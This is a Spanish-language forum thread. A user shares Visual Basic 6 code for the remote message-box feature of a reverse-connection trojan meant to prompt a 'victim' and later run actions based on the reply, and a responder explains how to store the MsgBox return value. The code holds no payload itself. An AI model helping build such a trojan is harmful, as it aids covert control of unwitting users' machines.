Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)
supongo que ya entendieron maso menos la idea
parte del codigo del server
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String
server.GetData datos
Select Case LCase(Split(datos, "|")(0))
Case LCase("mensaje")
'''''''''''''
If (Split(datos, "|")(2)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
'''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
''''''''''''
Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''''''''''
End Select
End Sub
cliente : Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value
ws.SendData datos
End Sub
la conexión esta bien no pongo el resto del código porque ahí no hay problema.
Adios y Muchas Gracias
si usas Split debes de saber el formato de la cadena enviada y en que lugar estan los "X" Datos a interpretar, no es difici y no importa si es conexión inversa, Reversa, Baja o Subida...¡! ESO NO importa,... lo que realmente importa al mandar información es la estructura de esta, te recomiendo que imprimas la cadena enviada en la ventana inmediato y por ende las separaciónes y revises como te llegan (aun que esto deberias saberlo pues lo mandas con anterioridad, pero es solo apra rectificar tu información¡!)
Para imprimir en pantalla inmediato:
Debug.print variable
---------------------------------
Ahora con lo de tu linea:
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
mas explisitamente este pedaso:
Split(datos, "|")(3) = vbYes
APARECERA COMO TITULO VERDADERO O FALSE SEGUNS EA EL CASO, ya que estas asiendo el if mas sencillo...¡!
El problema esta en que muestras un mensaje y obtienes un valor como respuesta, pero ese valor no esta asignado a NADA, no se almacena en ninguna variable :rolleyes: